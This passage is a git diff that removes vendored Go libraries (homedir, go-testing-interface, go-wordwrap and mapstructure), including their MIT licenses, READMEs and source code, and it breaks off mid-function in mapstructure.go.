username:password:uid:gid:gecos:home:shell - passwdParts := strings.SplitN(passwd, ":", 7) - if len(passwdParts) > 5 { - return passwdParts[5], nil - } - } - } - } - - // If all else fails, try the shell - stdout.Reset() - cmd := exec.Command("sh", "-c", "cd && pwd") - cmd.Stdout = &stdout - if err := cmd.Run(); err != nil { - return "", err - } - - result := strings.TrimSpace(stdout.String()) - if result == "" { - return "", errors.New("blank output when reading home directory") - } - - return result, nil -} - -func dirWindows() (string, error) { - // First prefer the HOME environmental variable - if home := os.Getenv("HOME"); home != "" { - return home, nil - } - - // Prefer standard environment variable USERPROFILE - if home := os.Getenv("USERPROFILE"); home != "" { - return home, nil - } - - drive := os.Getenv("HOMEDRIVE") - path := os.Getenv("HOMEPATH") - home := drive + path - if drive == "" || path == "" { - return "", errors.New("HOMEDRIVE, HOMEPATH, or USERPROFILE are blank") - } - - return home, nil -} diff --git a/vendor/github.com/mitchellh/go-testing-interface/.travis.yml b/vendor/github.com/mitchellh/go-testing-interface/.travis.yml deleted file mode 100644 index 928d000ec4..0000000000 --- a/vendor/github.com/mitchellh/go-testing-interface/.travis.yml +++ /dev/null @@ -1,13 +0,0 @@ -language: go - -go: - - 1.8 - - 1.x - - tip - -script: - - go test - -matrix: - allow_failures: - - go: tip diff --git a/vendor/github.com/mitchellh/go-testing-interface/LICENSE b/vendor/github.com/mitchellh/go-testing-interface/LICENSE deleted file mode 100644 index a3866a291f..0000000000 --- a/vendor/github.com/mitchellh/go-testing-interface/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2016 Mitchell Hashimoto - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/vendor/github.com/mitchellh/go-testing-interface/README.md b/vendor/github.com/mitchellh/go-testing-interface/README.md deleted file mode 100644 index 26781bbae8..0000000000 --- a/vendor/github.com/mitchellh/go-testing-interface/README.md +++ /dev/null @@ -1,52 +0,0 @@ -# go-testing-interface - -go-testing-interface is a Go library that exports an interface that -`*testing.T` implements as well as a runtime version you can use in its -place. - -The purpose of this library is so that you can export test helpers as a -public API without depending on the "testing" package, since you can't -create a `*testing.T` struct manually. This lets you, for example, use the -public testing APIs to generate mock data at runtime, rather than just at -test time. - -## Usage & Example - -For usage and examples see the [Godoc](http://godoc.org/github.com/mitchellh/go-testing-interface). - -Given a test helper written using `go-testing-interface` like this: - - import "github.com/mitchellh/go-testing-interface" - - func TestHelper(t testing.T) { - t.Fatal("I failed") - } - -You can call the test helper in a real test easily: - - import "testing" - - func TestThing(t *testing.T) { - TestHelper(t) - } - -You can also call the test helper at runtime if needed: - - import "github.com/mitchellh/go-testing-interface" - - func main() { - TestHelper(&testing.RuntimeT{}) - } - -## Why?! - -**Why would I call a test helper that takes a *testing.T at runtime?** - -You probably shouldn't. The only use case I've seen (and I've had) for this -is to implement a "dev mode" for a service where the test helpers are used -to populate mock data, create a mock DB, perhaps run service dependencies -in-memory, etc. - -Outside of a "dev mode", I've never seen a use case for this and I think -there shouldn't be one since the point of the `testing.T` interface is that -you can fail immediately. diff --git a/vendor/github.com/mitchellh/go-testing-interface/go.mod b/vendor/github.com/mitchellh/go-testing-interface/go.mod deleted file mode 100644 index 062796de72..0000000000 --- a/vendor/github.com/mitchellh/go-testing-interface/go.mod +++ /dev/null @@ -1 +0,0 @@ -module github.com/mitchellh/go-testing-interface diff --git a/vendor/github.com/mitchellh/go-testing-interface/testing.go b/vendor/github.com/mitchellh/go-testing-interface/testing.go deleted file mode 100644 index 204afb4200..0000000000 --- a/vendor/github.com/mitchellh/go-testing-interface/testing.go +++ /dev/null @@ -1,84 +0,0 @@ -// +build !go1.9 - -package testing - -import ( - "fmt" - "log" -) - -// T is the interface that mimics the standard library *testing.T. -// -// In unit tests you can just pass a *testing.T struct. At runtime, outside -// of tests, you can pass in a RuntimeT struct from this package. -type T interface { - Error(args ...interface{}) - Errorf(format string, args ...interface{}) - Fail() - FailNow() - Failed() bool - Fatal(args ...interface{}) - Fatalf(format string, args ...interface{}) - Log(args ...interface{}) - Logf(format string, args ...interface{}) - Name() string - Skip(args ...interface{}) - SkipNow() - Skipf(format string, args ...interface{}) - Skipped() bool -} - -// RuntimeT implements T and can be instantiated and run at runtime to -// mimic *testing.T behavior. Unlike *testing.T, this will simply panic -// for calls to Fatal. For calls to Error, you'll have to check the errors -// list to determine whether to exit yourself. Name and Skip methods are -// unimplemented noops. -type RuntimeT struct { - failed bool -} - -func (t *RuntimeT) Error(args ...interface{}) { - log.Println(fmt.Sprintln(args...)) - t.Fail() -} - -func (t *RuntimeT) Errorf(format string, args ...interface{}) { - log.Println(fmt.Sprintf(format, args...)) - t.Fail() -} - -func (t *RuntimeT) Fatal(args ...interface{}) { - log.Println(fmt.Sprintln(args...)) - t.FailNow() -} - -func (t *RuntimeT) Fatalf(format string, args ...interface{}) { - log.Println(fmt.Sprintf(format, args...)) - t.FailNow() -} - -func (t *RuntimeT) Fail() { - t.failed = true -} - -func (t *RuntimeT) FailNow() { - panic("testing.T failed, see logs for output (if any)") -} - -func (t *RuntimeT) Failed() bool { - return t.failed -} - -func (t *RuntimeT) Log(args ...interface{}) { - log.Println(fmt.Sprintln(args...)) -} - -func (t *RuntimeT) Logf(format string, args ...interface{}) { - log.Println(fmt.Sprintf(format, args...)) -} - -func (t *RuntimeT) Name() string { return "" } -func (t *RuntimeT) Skip(args ...interface{}) {} -func (t *RuntimeT) SkipNow() {} -func (t *RuntimeT) Skipf(format string, args ...interface{}) {} -func (t *RuntimeT) Skipped() bool { return false } diff --git a/vendor/github.com/mitchellh/go-testing-interface/testing_go19.go b/vendor/github.com/mitchellh/go-testing-interface/testing_go19.go deleted file mode 100644 index 31b42cadf8..0000000000 --- a/vendor/github.com/mitchellh/go-testing-interface/testing_go19.go +++ /dev/null @@ -1,108 +0,0 @@ -// +build go1.9 - -// NOTE: This is a temporary copy of testing.go for Go 1.9 with the addition -// of "Helper" to the T interface. Go 1.9 at the time of typing is in RC -// and is set for release shortly. We'll support this on master as the default -// as soon as 1.9 is released. - -package testing - -import ( - "fmt" - "log" -) - -// T is the interface that mimics the standard library *testing.T. -// -// In unit tests you can just pass a *testing.T struct. At runtime, outside -// of tests, you can pass in a RuntimeT struct from this package. -type T interface { - Error(args ...interface{}) - Errorf(format string, args ...interface{}) - Fail() - FailNow() - Failed() bool - Fatal(args ...interface{}) - Fatalf(format string, args ...interface{}) - Log(args ...interface{}) - Logf(format string, args ...interface{}) - Name() string - Skip(args ...interface{}) - SkipNow() - Skipf(format string, args ...interface{}) - Skipped() bool - Helper() -} - -// RuntimeT implements T and can be instantiated and run at runtime to -// mimic *testing.T behavior. Unlike *testing.T, this will simply panic -// for calls to Fatal. For calls to Error, you'll have to check the errors -// list to determine whether to exit yourself. -type RuntimeT struct { - skipped bool - failed bool -} - -func (t *RuntimeT) Error(args ...interface{}) { - log.Println(fmt.Sprintln(args...)) - t.Fail() -} - -func (t *RuntimeT) Errorf(format string, args ...interface{}) { - log.Printf(format, args...) - t.Fail() -} - -func (t *RuntimeT) Fail() { - t.failed = true -} - -func (t *RuntimeT) FailNow() { - panic("testing.T failed, see logs for output (if any)") -} - -func (t *RuntimeT) Failed() bool { - return t.failed -} - -func (t *RuntimeT) Fatal(args ...interface{}) { - log.Print(args...) - t.FailNow() -} - -func (t *RuntimeT) Fatalf(format string, args ...interface{}) { - log.Printf(format, args...) - t.FailNow() -} - -func (t *RuntimeT) Log(args ...interface{}) { - log.Println(fmt.Sprintln(args...)) -} - -func (t *RuntimeT) Logf(format string, args ...interface{}) { - log.Println(fmt.Sprintf(format, args...)) -} - -func (t *RuntimeT) Name() string { - return "" -} - -func (t *RuntimeT) Skip(args ...interface{}) { - log.Print(args...) - t.SkipNow() -} - -func (t *RuntimeT) SkipNow() { - t.skipped = true -} - -func (t *RuntimeT) Skipf(format string, args ...interface{}) { - log.Printf(format, args...) - t.SkipNow() -} - -func (t *RuntimeT) Skipped() bool { - return t.skipped -} - -func (t *RuntimeT) Helper() {} diff --git a/vendor/github.com/mitchellh/go-wordwrap/LICENSE.md b/vendor/github.com/mitchellh/go-wordwrap/LICENSE.md deleted file mode 100644 index 2298515904..0000000000 --- a/vendor/github.com/mitchellh/go-wordwrap/LICENSE.md +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2014 Mitchell Hashimoto - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/vendor/github.com/mitchellh/go-wordwrap/README.md b/vendor/github.com/mitchellh/go-wordwrap/README.md deleted file mode 100644 index 60ae311700..0000000000 --- a/vendor/github.com/mitchellh/go-wordwrap/README.md +++ /dev/null @@ -1,39 +0,0 @@ -# go-wordwrap - -`go-wordwrap` (Golang package: `wordwrap`) is a package for Go that -automatically wraps words into multiple lines. The primary use case for this -is in formatting CLI output, but of course word wrapping is a generally useful -thing to do. - -## Installation and Usage - -Install using `go get github.com/mitchellh/go-wordwrap`. - -Full documentation is available at -http://godoc.org/github.com/mitchellh/go-wordwrap - -Below is an example of its usage ignoring errors: - -```go -wrapped := wordwrap.WrapString("foo bar baz", 3) -fmt.Println(wrapped) -``` - -Would output: - -``` -foo -bar -baz -``` - -## Word Wrap Algorithm - -This library doesn't use any clever algorithm for word wrapping. The wrapping -is actually very naive: whenever there is whitespace or an explicit linebreak. -The goal of this library is for word wrapping CLI output, so the input is -typically pretty well controlled human language. Because of this, the naive -approach typically works just fine. - -In the future, we'd like to make the algorithm more advanced. We would do -so without breaking the API. diff --git a/vendor/github.com/mitchellh/go-wordwrap/go.mod b/vendor/github.com/mitchellh/go-wordwrap/go.mod deleted file mode 100644 index 2ae411b201..0000000000 --- a/vendor/github.com/mitchellh/go-wordwrap/go.mod +++ /dev/null @@ -1 +0,0 @@ -module github.com/mitchellh/go-wordwrap diff --git a/vendor/github.com/mitchellh/go-wordwrap/wordwrap.go b/vendor/github.com/mitchellh/go-wordwrap/wordwrap.go deleted file mode 100644 index ac67205bc2..0000000000 --- a/vendor/github.com/mitchellh/go-wordwrap/wordwrap.go +++ /dev/null @@ -1,73 +0,0 @@ -package wordwrap - -import ( - "bytes" - "unicode" -) - -// WrapString wraps the given string within lim width in characters. -// -// Wrapping is currently naive and only happens at white-space. A future -// version of the library will implement smarter wrapping. This means that -// pathological cases can dramatically reach past the limit, such as a very -// long word. -func WrapString(s string, lim uint) string { - // Initialize a buffer with a slightly larger size to account for breaks - init := make([]byte, 0, len(s)) - buf := bytes.NewBuffer(init) - - var current uint - var wordBuf, spaceBuf bytes.Buffer - - for _, char := range s { - if char == '\n' { - if wordBuf.Len() == 0 { - if current+uint(spaceBuf.Len()) > lim { - current = 0 - } else { - current += uint(spaceBuf.Len()) - spaceBuf.WriteTo(buf) - } - spaceBuf.Reset() - } else { - current += uint(spaceBuf.Len() + wordBuf.Len()) - spaceBuf.WriteTo(buf) - spaceBuf.Reset() - wordBuf.WriteTo(buf) - wordBuf.Reset() - } - buf.WriteRune(char) - current = 0 - } else if unicode.IsSpace(char) { - if spaceBuf.Len() == 0 || wordBuf.Len() > 0 { - current += uint(spaceBuf.Len() + wordBuf.Len()) - spaceBuf.WriteTo(buf) - spaceBuf.Reset() - wordBuf.WriteTo(buf) - wordBuf.Reset() - } - - spaceBuf.WriteRune(char) - } else { - - wordBuf.WriteRune(char) - - if current+uint(spaceBuf.Len()+wordBuf.Len()) > lim && uint(wordBuf.Len()) < lim { - buf.WriteRune('\n') - current = 0 - spaceBuf.Reset() - } - } - } - - if wordBuf.Len() == 0 { - if current+uint(spaceBuf.Len()) <= lim { - spaceBuf.WriteTo(buf) - } - } else { - spaceBuf.WriteTo(buf) - wordBuf.WriteTo(buf) - } - - return buf.String() -} diff --git a/vendor/github.com/mitchellh/mapstructure/.travis.yml b/vendor/github.com/mitchellh/mapstructure/.travis.yml deleted file mode 100644 index 5c14c1339d..0000000000 --- a/vendor/github.com/mitchellh/mapstructure/.travis.yml +++ /dev/null @@ -1,7 +0,0 @@ -language: go - -go: - - 1.8.1 - -script: - - go test diff --git a/vendor/github.com/mitchellh/mapstructure/LICENSE b/vendor/github.com/mitchellh/mapstructure/LICENSE deleted file mode 100644 index f9c841a51e..0000000000 --- a/vendor/github.com/mitchellh/mapstructure/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2013 Mitchell Hashimoto - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/vendor/github.com/mitchellh/mapstructure/README.md b/vendor/github.com/mitchellh/mapstructure/README.md deleted file mode 100644 index 659d6885fc..0000000000 --- a/vendor/github.com/mitchellh/mapstructure/README.md +++ /dev/null @@ -1,46 +0,0 @@ -# mapstructure - -mapstructure is a Go library for decoding generic map values to structures -and vice versa, while providing helpful error handling. - -This library is most useful when decoding values from some data stream (JSON, -Gob, etc.) where you don't _quite_ know the structure of the underlying data -until you read a part of it. You can therefore read a `map[string]interface{}` -and use this library to decode it into the proper underlying native Go -structure. - -## Installation - -Standard `go get`: - -``` -$ go get github.com/mitchellh/mapstructure -``` - -## Usage & Example - -For usage and examples see the [Godoc](http://godoc.org/github.com/mitchellh/mapstructure). - -The `Decode` function has examples associated with it there. - -## But Why?! - -Go offers fantastic standard libraries for decoding formats such as JSON. -The standard method is to have a struct pre-created, and populate that struct -from the bytes of the encoded format. This is great, but the problem is if -you have configuration or an encoding that changes slightly depending on -specific fields. For example, consider this JSON: - -```json -{ - "type": "person", - "name": "Mitchell" -} -``` - -Perhaps we can't populate a specific structure without first reading -the "type" field from the JSON. We could always do two passes over the -decoding of the JSON (reading the "type" first, and the rest later). -However, it is much simpler to just decode this into a `map[string]interface{}` -structure, read the "type" key, then use something like this library -to decode it into the proper structure. diff --git a/vendor/github.com/mitchellh/mapstructure/decode_hooks.go b/vendor/github.com/mitchellh/mapstructure/decode_hooks.go deleted file mode 100644 index afcfd5eed6..0000000000 --- a/vendor/github.com/mitchellh/mapstructure/decode_hooks.go +++ /dev/null @@ -1,152 +0,0 @@ -package mapstructure - -import ( - "errors" - "reflect" - "strconv" - "strings" - "time" -) - -// typedDecodeHook takes a raw DecodeHookFunc (an interface{}) and turns -// it into the proper DecodeHookFunc type, such as DecodeHookFuncType. -func typedDecodeHook(h DecodeHookFunc) DecodeHookFunc { - // Create variables here so we can reference them with the reflect pkg - var f1 DecodeHookFuncType - var f2 DecodeHookFuncKind - - // Fill in the variables into this interface and the rest is done - // automatically using the reflect package. - potential := []interface{}{f1, f2} - - v := reflect.ValueOf(h) - vt := v.Type() - for _, raw := range potential { - pt := reflect.ValueOf(raw).Type() - if vt.ConvertibleTo(pt) { - return v.Convert(pt).Interface() - } - } - - return nil -} - -// DecodeHookExec executes the given decode hook. This should be used -// since it'll naturally degrade to the older backwards compatible DecodeHookFunc -// that took reflect.Kind instead of reflect.Type. -func DecodeHookExec( - raw DecodeHookFunc, - from reflect.Type, to reflect.Type, - data interface{}) (interface{}, error) { - switch f := typedDecodeHook(raw).(type) { - case DecodeHookFuncType: - return f(from, to, data) - case DecodeHookFuncKind: - return f(from.Kind(), to.Kind(), data) - default: - return nil, errors.New("invalid decode hook signature") - } -} - -// ComposeDecodeHookFunc creates a single DecodeHookFunc that -// automatically composes multiple DecodeHookFuncs. -// -// The composed funcs are called in order, with the result of the -// previous transformation. -func ComposeDecodeHookFunc(fs ...DecodeHookFunc) DecodeHookFunc { - return func( - f reflect.Type, - t reflect.Type, - data interface{}) (interface{}, error) { - var err error - for _, f1 := range fs { - data, err = DecodeHookExec(f1, f, t, data) - if err != nil { - return nil, err - } - - // Modify the from kind to be correct with the new data - f = nil - if val := reflect.ValueOf(data); val.IsValid() { - f = val.Type() - } - } - - return data, nil - } -} - -// StringToSliceHookFunc returns a DecodeHookFunc that converts -// string to []string by splitting on the given sep. -func StringToSliceHookFunc(sep string) DecodeHookFunc { - return func( - f reflect.Kind, - t reflect.Kind, - data interface{}) (interface{}, error) { - if f != reflect.String || t != reflect.Slice { - return data, nil - } - - raw := data.(string) - if raw == "" { - return []string{}, nil - } - - return strings.Split(raw, sep), nil - } -} - -// StringToTimeDurationHookFunc returns a DecodeHookFunc that converts -// strings to time.Duration. -func StringToTimeDurationHookFunc() DecodeHookFunc { - return func( - f reflect.Type, - t reflect.Type, - data interface{}) (interface{}, error) { - if f.Kind() != reflect.String { - return data, nil - } - if t != reflect.TypeOf(time.Duration(5)) { - return data, nil - } - - // Convert it by parsing - return time.ParseDuration(data.(string)) - } -} - -// WeaklyTypedHook is a DecodeHookFunc which adds support for weak typing to -// the decoder. -// -// Note that this is significantly different from the WeaklyTypedInput option -// of the DecoderConfig. -func WeaklyTypedHook( - f reflect.Kind, - t reflect.Kind, - data interface{}) (interface{}, error) { - dataVal := reflect.ValueOf(data) - switch t { - case reflect.String: - switch f { - case reflect.Bool: - if dataVal.Bool() { - return "1", nil - } - return "0", nil - case reflect.Float32: - return strconv.FormatFloat(dataVal.Float(), 'f', -1, 64), nil - case reflect.Int: - return strconv.FormatInt(dataVal.Int(), 10), nil - case reflect.Slice: - dataType := dataVal.Type() - elemKind := dataType.Elem().Kind() - if elemKind == reflect.Uint8 { - return string(dataVal.Interface().([]uint8)), nil - } - case reflect.Uint: - return strconv.FormatUint(dataVal.Uint(), 10), nil - } - } - - return data, nil -} diff --git a/vendor/github.com/mitchellh/mapstructure/error.go b/vendor/github.com/mitchellh/mapstructure/error.go deleted file mode 100644 index 47a99e5af3..0000000000 --- a/vendor/github.com/mitchellh/mapstructure/error.go +++ /dev/null @@ -1,50 +0,0 @@ -package mapstructure - -import ( - "errors" - "fmt" - "sort" - "strings" -) - -// Error implements the error interface and can represents multiple -// errors that occur in the course of a single decode. -type Error struct { - Errors []string -} - -func (e *Error) Error() string { - points := make([]string, len(e.Errors)) - for i, err := range e.Errors { - points[i] = fmt.Sprintf("* %s", err) - } - - sort.Strings(points) - return fmt.Sprintf( - "%d error(s) decoding:\n\n%s", - len(e.Errors), strings.Join(points, "\n")) -} - -// WrappedErrors implements the errwrap.Wrapper interface to make this -// return value more useful with the errwrap and go-multierror libraries. -func (e *Error) WrappedErrors() []error { - if e == nil { - return nil - } - - result := make([]error, len(e.Errors)) - for i, e := range e.Errors { - result[i] = errors.New(e) - } - - return result -} - -func appendErrors(errors []string, err error) []string { - switch e := err.(type) { - case *Error: - return append(errors, e.Errors...) - default: - return append(errors, e.Error()) - } -} diff --git a/vendor/github.com/mitchellh/mapstructure/mapstructure.go b/vendor/github.com/mitchellh/mapstructure/mapstructure.go deleted file mode 100644 index 6ec5c33357..0000000000 --- a/vendor/github.com/mitchellh/mapstructure/mapstructure.go +++ /dev/null @@ -1,828 +0,0 @@ -// Package mapstructure exposes functionality to convert an arbitrary -// map[string]interface{} into a native Go structure. -// -// The Go structure can be arbitrarily complex, containing slices, -// other structs, etc. and the decoder will properly decode nested -// maps and so on into the proper structures in the native Go struct. -// See the examples to see what the decoder is capable of. -package mapstructure - -import ( - "encoding/json" - "errors" - "fmt" - "reflect" - "sort" - "strconv" - "strings" -) - -// DecodeHookFunc is the callback function that can be used for -// data transformations. See "DecodeHook" in the DecoderConfig -// struct. -// -// The type should be DecodeHookFuncType or DecodeHookFuncKind. -// Either is accepted. Types are a superset of Kinds (Types can return -// Kinds) and are generally a richer thing to use, but Kinds are simpler -// if you only need those. -// -// The reason DecodeHookFunc is multi-typed is for backwards compatibility: -// we started with Kinds and then realized Types were the better solution, -// but have a promise to not break backwards compat so we now support -// both. -type DecodeHookFunc interface{} - -// DecodeHookFuncType is a DecodeHookFunc which has complete information about -// the source and target types. -type DecodeHookFuncType func(reflect.Type, reflect.Type, interface{}) (interface{}, error) - -// DecodeHookFuncKind is a DecodeHookFunc which knows only the Kinds of the -// source and target types. -type DecodeHookFuncKind func(reflect.Kind, reflect.Kind, interface{}) (interface{}, error) - -// DecoderConfig is the configuration that is used to create a new decoder -// and allows customization of various aspects of decoding. -type DecoderConfig struct { - // DecodeHook, if set, will be called before any decoding and any - // type conversion (if WeaklyTypedInput is on). This lets you modify - // the values before they're set down onto the resulting struct. - // - // If an error is returned, the entire decode will fail with that - // error. - DecodeHook DecodeHookFunc - - // If ErrorUnused is true, then it is an error for there to exist - // keys in the original map that were unused in the decoding process - // (extra keys). - ErrorUnused bool - - // ZeroFields, if set to true, will zero fields before writing them. - // For example, a map will be emptied before decoded values are put in - // it. If this is false, a map will be merged. - ZeroFields bool - - // If WeaklyTypedInput is true, the decoder will make the following - // "weak" conversions: - // - // - bools to string (true = "1", false = "0") - // - numbers to string (base 10) - // - bools to int/uint (true = 1, false = 0) - // - strings to int/uint (base implied by prefix) - // - int to bool (true if value != 0) - // - string to bool (accepts: 1, t, T, TRUE, true, True, 0, f, F, - // FALSE, false, False. Anything else is an error) - // - empty array = empty map and vice versa - // - negative numbers to overflowed uint values (base 10) - // - slice of maps to a merged map - // - single values are converted to slices if required. Each - // element is weakly decoded. For example: "4" can become []int{4} - // if the target type is an int slice. - // - WeaklyTypedInput bool - - // Metadata is the struct that will contain extra metadata about - // the decoding. If this is nil, then no metadata will be tracked. - Metadata *Metadata - - // Result is a pointer to the struct that will contain the decoded - // value. - Result interface{} - - // The tag name that mapstructure reads for field names. This - // defaults to "mapstructure" - TagName string -} - -// A Decoder takes a raw interface value and turns it into structured -// data, keeping track of rich error information along the way in case -// anything goes wrong. Unlike the basic top-level Decode method, you can -// more finely control how the Decoder behaves using the DecoderConfig -// structure. The top-level Decode method is just a convenience that sets -// up the most basic Decoder. -type Decoder struct { - config *DecoderConfig -} - -// Metadata contains information about decoding a structure that -// is tedious or difficult to get otherwise. -type Metadata struct { - // Keys are the keys of the structure which were successfully decoded - Keys []string - - // Unused is a slice of keys that were found in the raw value but - // weren't decoded since there was no matching field in the result interface - Unused []string -} - -// Decode takes a map and uses reflection to convert it into the -// given Go native structure. val must be a pointer to a struct. -func Decode(m interface{}, rawVal interface{}) error { - config := &DecoderConfig{ - Metadata: nil, - Result: rawVal, - } - - decoder, err := NewDecoder(config) - if err != nil { - return err - } - - return decoder.Decode(m) -} - -// WeakDecode is the same as Decode but is shorthand to enable -// WeaklyTypedInput. See DecoderConfig for more info. -func WeakDecode(input, output interface{}) error { - config := &DecoderConfig{ - Metadata: nil, - Result: output, - WeaklyTypedInput: true, - } - - decoder, err := NewDecoder(config) - if err != nil { - return err - } - - return decoder.Decode(input) -} - -// NewDecoder returns a new decoder for the given configuration. Once -// a decoder has been returned, the same configuration must not be used -// again. -func NewDecoder(config *DecoderConfig) (*Decoder, error) { - val := reflect.ValueOf(config.Result) - if val.Kind() != reflect.Ptr { - return nil, errors.New("result must be a pointer") - } - - val = val.Elem() - if !val.CanAddr() { - return nil, errors.New("result must be addressable (a pointer)") - } - - if config.Metadata != nil { - if config.Metadata.Keys == nil { - config.Metadata.Keys = make([]string, 0) - } - - if config.Metadata.Unused == nil { - config.Metadata.Unused = make([]string, 0) - } - } - - if config.TagName == "" { - config.TagName = "mapstructure" - } - - result := &Decoder{ - config: config, - } - - return result, nil -} - -// Decode decodes the given raw interface to the target pointer specified -// by the configuration. -func (d *Decoder) Decode(raw interface{}) error { - return d.decode("", raw, reflect.ValueOf(d.config.Result).Elem()) -} - -// Decodes an unknown data type into a specific reflection value. -func (d *Decoder) decode(name string, data interface{}, val reflect.Value) error { - if data == nil { - // If the data is nil, then we don't set anything. - return nil - } - - dataVal := reflect.ValueOf(data) - if !dataVal.IsValid() { - // If the data value is invalid, then we just set the value - // to be the zero value. - val.Set(reflect.Zero(val.Type())) - return nil - } - - if d.config.DecodeHook != nil { - // We have a DecodeHook, so let's pre-process the data. - var err error - data, err = DecodeHookExec( - d.config.DecodeHook, - dataVal.Type(), val.Type(), data) - if err != nil { - return fmt.Errorf("error decoding '%s': %s", name, err) - } - } - - var err error - dataKind := getKind(val) - switch dataKind { - case reflect.Bool: - err = d.decodeBool(name, data, val) - case reflect.Interface: - err = d.decodeBasic(name, data, val) - case reflect.String: - err = d.decodeString(name, data, val) - case reflect.Int: - err = d.decodeInt(name, data, val) - case reflect.Uint: - err = d.decodeUint(name, data, val) - case reflect.Float32: - err = d.decodeFloat(name, data, val) - case reflect.Struct: - err = d.decodeStruct(name, data, val) - case reflect.Map: - err = d.decodeMap(name, data, val) - case reflect.Ptr: - err = d.decodePtr(name, data, val) - case reflect.Slice: - err = d.decodeSlice(name, data, val) - case reflect.Func: - err = d.decodeFunc(name, data, val) - default: - // If we reached this point then we weren't able to decode it - return fmt.Errorf("%s: unsupported type: %s", name, dataKind) - } - - // If we reached here, then we successfully decoded SOMETHING, so - // mark the key as used if we're tracking metadata. - if d.config.Metadata != nil && name != "" { - d.config.Metadata.Keys = append(d.config.Metadata.Keys, name) - } - - return err -} - -// This decodes a basic type (bool, int, string, etc.) and sets the -// value to "data" of that type. -func (d *Decoder) decodeBasic(name string, data interface{}, val reflect.Value) error { - dataVal := reflect.ValueOf(data) - if !dataVal.IsValid() { - dataVal = reflect.Zero(val.Type()) - } - - dataValType := dataVal.Type() - if !dataValType.AssignableTo(val.Type()) { - return fmt.Errorf( - "'%s' expected type '%s', got '%s'", - name, val.Type(), dataValType) - } - - val.Set(dataVal) - return nil -} - -func (d *Decoder) decodeString(name string, data interface{}, val reflect.Value) error { - dataVal := reflect.ValueOf(data) - dataKind := getKind(dataVal) - - converted := true - switch { - case dataKind == reflect.String: - val.SetString(dataVal.String()) - case dataKind == reflect.Bool && d.config.WeaklyTypedInput: - if dataVal.Bool() { - val.SetString("1") - } else { - val.SetString("0") - } - case dataKind == reflect.Int && d.config.WeaklyTypedInput: - val.SetString(strconv.FormatInt(dataVal.Int(), 10)) - case dataKind == reflect.Uint && d.config.WeaklyTypedInput: - val.SetString(strconv.FormatUint(dataVal.Uint(), 10)) - case dataKind == reflect.Float32 && d.config.WeaklyTypedInput: - val.SetString(strconv.FormatFloat(dataVal.Float(), 'f', -1, 64)) - case dataKind == reflect.Slice && d.config.WeaklyTypedInput: - dataType := dataVal.Type() - elemKind := dataType.Elem().Kind() - switch { - case elemKind == reflect.Uint8: - val.SetString(string(dataVal.Interface().([]uint8))) - default: - converted = false - } - default: - converted = false - } - - if !converted { - return fmt.Errorf( - "'%s' expected type '%s', got unconvertible type '%s'", - name, val.Type(), dataVal.Type()) - } - - return nil -} - -func (d *Decoder) decodeInt(name string, data interface{}, val reflect.Value) error { - dataVal := reflect.ValueOf(data) - dataKind := getKind(dataVal) - dataType := dataVal.Type() - - switch { - case dataKind == reflect.Int: - val.SetInt(dataVal.Int()) - case dataKind == reflect.Uint: - val.SetInt(int64(dataVal.Uint())) - case dataKind == reflect.Float32: - val.SetInt(int64(dataVal.Float())) - case dataKind == reflect.Bool && d.config.WeaklyTypedInput: - if dataVal.Bool() { - val.SetInt(1) - } else { - val.SetInt(0) - } - case dataKind == reflect.String && d.config.WeaklyTypedInput: - i, err := strconv.ParseInt(dataVal.String(), 0, val.Type().Bits()) - if err == nil { - val.SetInt(i) - } else { - return fmt.Errorf("cannot parse '%s' as int: 